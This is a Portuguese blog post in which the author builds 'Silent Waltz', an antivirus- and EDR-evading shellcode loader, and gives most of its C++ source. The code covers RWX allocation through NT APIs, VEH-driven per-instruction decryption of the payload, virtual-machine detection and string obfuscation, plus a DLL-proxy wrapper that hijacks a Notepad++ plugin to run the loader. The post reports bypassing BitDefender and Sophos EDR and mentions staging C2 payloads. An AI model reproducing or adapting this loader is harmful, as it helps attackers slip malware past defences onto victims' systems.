Bom, no post de hoje vou mostrar um carregador simples que fiz para conseguir contornar alguns antivírus bastante utilizados hoje em dia.
Obfusheader
Vou estar utilizando o projeto Obfusheader para conseguir esconder strings. É um projeto fácil de utilizar.
Voidgate
Voidgate vai ser modificado e usado para executar nossa payload Voidgate é um projeto que utiliza uma técnica que pode ser usada para contornar scanners de memoria de AV/EDR. ele pode ser usado para esconder shellcodes bem conhecidos e detectados como as do msfvenom executando on-the-fly decryption of individual encrypted assembly instructions, tornando assim os scanners de memória inúteis para aquela página de memória específica.
Como funciona:
Está técnica criará uma região de memória PAGE_EXECUTE_READWRITE
onde as instruções de montagem criptografadas serão armazenadas. O shellcode será encapsulado em algum
preenchimento. O programa definirá um Hardware Breakpoint (HWBP) no
ponto de entrada do shellcode.
Em seguida, o programa instalará um Vectored Exception Handler (VEH). Este VEH basicamente agirá como um
depurador, percorrendo o código passo a passo, lendo o registro de
ponteiro de instrução (RIP) para cada exceção SINGLE STEP recebida
pelo VEH e descriptografando os próximos 16 bytes (comprimento máximo de instrução de montagem x64) onde o
RIP aponta. O VEH também criptografa de volta a instrução descriptografada anteriormente, garantindo que o
restante do shellcode permaneça sempre criptografado, com exceção da única instrução de montagem
atualmente em execução. Depois disso, ele continuará a execução, com o TRAP
FLAG configurado no registro Eflags. Isso garantirá que a próxima instrução de montagem também
acione uma exceção de ponto de interrupção que o VEH pode manipular.
Após a instalação do VEH, a
execução do thread principal será redirecionada para o payload entrypoint. Quando o HWBP for acionado no entrypoint, o VEH
parará em cada instrução de montagem executada, executará a descriptografia da próxima instrução de
montagem e criptografará a instrução criptografada anterior, que é salva como uma variável global.
Ao
fazer isso, basicamente uma única instrução de montagem é descriptografada
por vez, com o restante do payload permanecendo
criptografado.
Limitações:
-
NOTA: Esta técnica é ideal para obter um acesso inicial usando um shellcode básico como msfvenom ou shells revers personalizados. Isso também pode ser usado como uma carga útil inicial do estágio 1 que baixa o restante da carga útil do servidor C2.
-
NOTA: Esta técnica não é compatível com todas as cargas úteis (como carregadores reflexivos). Abaixo está uma lista de limitações atuais:
- 1 Como o VEH será acionado para EACH ASSEMBLY INSTRUCTION executado no shellcode, a velocidade de execução do shellcode será drasticamente reduzida. Para cada instrução de montagem que a CPU executa, o VEH executará pelo menos 300 instruções ASM adicionais para executar a descriptografia, criptografia e restauração da execução para o thread principal. Se o shellcode fornecido for otimizado para tamanho menor em relação ao desempenho (como msfvenom), a execução da carga útil será mais lenta. Pode levar bastante tempo (dependendo da CPU) para executar um MSFVENOM. Isso acontece porque o shellcode específico usado pelo msfvenom está sacrificando o desempenho para obter um tamanho menor de payload.
- 2 Se o shellcode chamar NtCreateThread ou qualquer um de seus wrappers em Kernelbase.dll com o entrypoint dentro do shellcode, o payload não funcionará, pois o VEH não será acionado para essa execução de thread, pois não há nenhum HWBP instalado no entrypoint do thread recém-criado. (Trabalho em andamento - será implementado mais adiante neste repositório)
- 3 Se o shellcode tiver alguns valores/variáveis armazenados dentro de si (por exemplo, tendo a string bruta "powershell.exe" que é referenciada por meio de um deslocamento em uma chamada para WinExec WINAPI) ou algum número salvo em um deslocamento, e o shellcode tentará carregá-lo ou referenciá-lo em algum lugar, o programa não funcionará, pois a variável ou string específica será criptografada e o VEH não a descriptografará.
Voidgate
Bom, o projeto Voidgate já está sendo detectado pelo Windows Defender.
Então se dermos uma olhada rápida no código, logo saberemos uma coisa bem simples que podemos fazer para reviver o projeto e torná-lo menos detectável.
#include "payload.h"
#include "Voidgate.h"
BYTE payload[] = { ...SHELLCODE... };
DWORD payload_size = sizeof(payload);
//XOR key for the encrypted payload
std::string key = "0dAd2!@BS1dtdCgPMWoA";
INT main()
{
DWORD memory_size = SHELLCODE_PADDING + payload_size + SHELLCODE_PADDING;
PVOID heap_memory = VirtualAlloc(NULL, memory_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!heap_memory)
{
LogWinapiError("VirtualAlloc");
return EXIT_FAILURE;
}
payload_lower_bound = (DWORD64)heap_memory;
payload_upper_bound = payload_lower_bound + memory_size;
memset(heap_memory, '\x90', memory_size);
PVOID payload_entry = (PBYTE)heap_memory + SHELLCODE_PADDING;
memcpy(payload_entry, payload, payload_size);
payload_base = (DWORD64)payload_entry;
DWORD status = SetHardwareBreakpoint(payload_entry);
PVOID veh = AddVectoredExceptionHandler(1, &VehDecryptHeapAsm);
if (veh)
{
std::cout << "Executing the payload with VEH ASM decryption... This may take a while depending on the efficiency of the shellcode..." << std::endl;
VoidGate vg = (VoidGate)payload_entry;
vg();
}
//Cleanup
VirtualFree(heap_memory, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
Como podemos ver, o projeto utiliza APIs como VirtualAlloc, memcpy, VirtualFree. Então, podemos fazer o uso de APIs Nt. Para quem se esqueceu do que são, abaixo uma imagem para melhor entendimento:
Detecção de máquinas virtuais
Bom, como eu sou um belo de um preguiçoso e não quero ficar sofrendo pensando em métodos de detecção de máquinas virtuais, vou utilizar o projeto VMAware que é uma biblioteca C++ multiplataforma para detecção de máquinas virtuais que apresenta mais de 100 técnicas exclusivas de detecção de VM para facilitar nossa vida.
Bom, o código do VoidGate vai ser modificado para utilizar APIs NT. Note que já vou estar utilizando o Obfusheader, e também lembrando que não vi necessidade de alterar nada no Voidgate.cpp e no Voidgate.h e sim o nome do loader será Silent Waltz, em referência a Kaito de HxH pq? também não sei.
#include <Windows.h>
#include <iostream>
#include <string>
#include <psapi.h>
#include <ntstatus.h>
#include "payload.h"
#include "Voidgate.h"
#include "obfusheader.h"
#include "vmaware_check.hpp"
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
// link: https://learn.microsoft.com/en-us/windows/console/console-screen-buffers#character-attributes
void SetConsoleColor(WORD color) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, color);
}
// link: http://undocumented.ntinternals.net/
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// link: http://undocumented.ntinternals.net/
typedef NTSTATUS(NTAPI* NtFreeVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);
// link: http://undocumented.ntinternals.net/
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesWritten
);
// link: http://undocumented.ntinternals.net/
typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
// link: http://undocumented.ntinternals.net/
typedef NTSTATUS(NTAPI* NtSetInformationThread_t)(
HANDLE ThreadHandle,
THREAD_INFORMATION_CLASS ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength
);
template<typename T>
T GetNtFunction(const char* funcName) {
HMODULE ntdll = GetModuleHandleW(OBF(L"ntdll.dll"));
if (!ntdll) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << OBF("Failed to get handle to ntdll.dll") << std::endl;
return nullptr;
}
return reinterpret_cast<T>(GetProcAddress(ntdll, funcName));
}
BYTE payload[] = { ...SHELLCODE... };
DWORD payload_size = sizeof(payload);
std::string key = OBF("0dAd2!@BS1dtdCgPMWoA");
void LogWinapiError(const char* functionName) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << functionName << OBF(" failed with error code ") << GetLastError() << std::endl;
}
INT main() {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cout << R"(
_________.__.__ __ __ __ .__ __
/ _____/|__| | ____ _____/ |_ / \ / \_____ | |_/ |_________
\_____ \ | | | _/ __ \ / \ __\ \ \/\/ /\__ \ | |\ __\___ /
/ \| | |_\ ___/| | \ | \ / / __ \| |_| | / /
/_______ /|__|____/\___ >___| /__| \__/\ / (____ /____/__| /_____ \
\/ \/ \/ \/ \/ \/
)" "\n\n" << std::endl;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
GetConsoleScreenBufferInfo(hConsole, &consoleInfo);
WORD originalColor = consoleInfo.wAttributes;
SetConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::cout << OBF("[ Detecting virtual machines with VMAware ]\n");
if (isRunningInVM()) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cout << OBF("[!] Virtual machine detected!") << "\n\n";
//HANDLE hProcess = GetCurrentProcess();
//TerminateProcess(hProcess, 1);
}
else {
SetConsoleColor(FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::cout << OBF("[#] No virtual machine detected!") << "\n\n";
}
UnhookingK32(); UnhookingNT(); ETWPATCH();
auto NtAllocateVirtualMemory = GetNtFunction<NtAllocateVirtualMemory_t>(OBF("NtAllocateVirtualMemory"));
auto NtFreeVirtualMemory = GetNtFunction<NtFreeVirtualMemory_t>(OBF("NtFreeVirtualMemory"));
auto NtWriteVirtualMemory = GetNtFunction<NtWriteVirtualMemory_t>(OBF("NtWriteVirtualMemory"));
auto NtProtectVirtualMemory = GetNtFunction<NtProtectVirtualMemory_t>(OBF("NtProtectVirtualMemory"));
auto NtSetInformationThread = GetNtFunction<NtSetInformationThread_t>(OBF("NtSetInformationThread"));
if (!NtAllocateVirtualMemory || !NtFreeVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory || !NtSetInformationThread) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << OBF("Failed to resolve one or more NT Native API functions.") << std::endl;
return EXIT_FAILURE;
}
DWORD memory_size = SHELLCODE_PADDING + payload_size + SHELLCODE_PADDING;
PVOID heap_memory = nullptr;
SIZE_T size = memory_size;
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &heap_memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status)) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << OBF("NtAllocateVirtualMemory failed with status: ") << status << std::endl;
return EXIT_FAILURE;
}
payload_lower_bound = (DWORD64)heap_memory;
payload_upper_bound = payload_lower_bound + memory_size;
memset(heap_memory, '\x90', memory_size);
PVOID payload_entry = (PBYTE)heap_memory + SHELLCODE_PADDING;
SIZE_T written_size = payload_size;
status = NtWriteVirtualMemory(GetCurrentProcess(), payload_entry, payload, payload_size, &written_size);
if (!NT_SUCCESS(status)) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << OBF("NtWriteVirtualMemory failed with status: ") << status << std::endl;
return EXIT_FAILURE;
}
payload_base = (DWORD64)payload_entry;
// Este passo não é modificado
DWORD breakStatus = SetHardwareBreakpoint(payload_entry);
// Instalar VEH para lidar com a descriptografia/encriptação do payload após cada instrução ASM executada pelo payload
PVOID veh = AddVectoredExceptionHandler(1, &VehDecryptHeapAsm);
if (veh) {
SetConsoleColor(FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::cout << OBF("Executing the payload with VEH ASM decryption...\n") << std::endl;
VoidGate vg = (VoidGate)payload_entry;
vg();
}
SIZE_T free_size = memory_size;
status = NtFreeVirtualMemory(GetCurrentProcess(), &heap_memory, &free_size, MEM_RELEASE);
if (!NT_SUCCESS(status)) {
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cerr << OBF("NtFreeVirtualMemory failed with status: ") << status << std::endl;
}
return EXIT_SUCCESS;
}
vmaware_check.hpp e vmcheck.cpp
#pragma once bool isRunningInVM();
#include "vmaware.hpp" bool isRunningInVM() { return VM::detect(); }
ETW Patch
Bom, não vou fornecer o código porque quero fazer um post focado apenas no ETW :)
Kernel32 Unhooking
Vai ser praticamente o mesmo código que utilizei no post anterior.
NtDll Unhooking
Bom, eu queria ter utilizado a técnica de ReflectiveNtdll, mas fiquei com preguiça, Então, apenas modifiquei o código feito no post anterior para, em vez de realizar o unhooking da kernel32.dll, realizar o unhooking da ntdll.dll.
Pe-Sieve
Bom, não quis me aprofundar muito no código, pois se você viu os posts anteriores, já entende praticamente tudo o que estou fazendo. Mas de qualquer maneira, vamos realizar alguns testes nele. Primeiro vamos ver como ele se sai contra o Pe-Sieve:
Como podemos ver, o Pe-Sieve não encontra nenhuma shellcode no processo.
VirusTotal
Temos apenas 1 detecção no VirusTotal por conta do VMAware, Não vejo isso como um problema. Vamos seguir em frente.
Contra antivírus
Fiz um teste do loader contra os seguintes antivírus: Avast, MalwareBytes, McAfee, Kaspersky e BitDefender. Dentre esses 5, apenas 1 detectou o loader, que foi o BitDefender.
Contornando o BitDefender
Como o BitDefender acabou detectando o loader, vamos apenas modificar um pouco ele. Vamos transformá-lo em uma DLL e realizar uma técnica de DLL proxy no Notepad++, isso já foi abordado no meu post Malware-Analysis-2. Abaixo está o que será necessário adicionar.
#include <stdio.h>
#include <stdlib.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning(disable : 4996)
#pragma comment(linker, "/export:beNotified=original.beNotified,@1")
#pragma comment(linker, "/export:getFuncsArray=original.getFuncsArray,@2")
#pragma comment(linker, "/export:getName=original.getName,@3")
#pragma comment(linker, "/export:isUnicode=original.isUnicode,@4")
#pragma comment(linker, "/export:messageProc=original.messageProc,@5")
#pragma comment(linker, "/export:setInfo=original.setInfo,@6")
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
main();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Resultado
Bom, como eu já esperava, não foi detectado e conseguimos também contornar com sucesso o BitDefender.
VirusTotal
O resultado do loader em DLL contra o VirusTotal é baixo apenas 2 detecções. Caso quiséssemos torná-lo 100% indetectável, precisaríamos apenas fazer algumas pequenas modificações, nada que causaria dor de cabeça.
Sophos EDR
Conseguimos contornar também o Sophos EDR nos dois formatos Dll,EXE.
Conclusões
Bom, conseguimos finalmente contornar um EDR e também alguns antivírus básicos e não ter uma taxa de detecção tão alta no VirusTotal. Obviamente, há muito espaço para melhorar o código. Mas tudo bem, meu intuito não é criar algo muito complexo, e sim apenas fazer um loader simples de entender e que no final funcione. Se você chegou até aqui, obrigado e tchau tchau.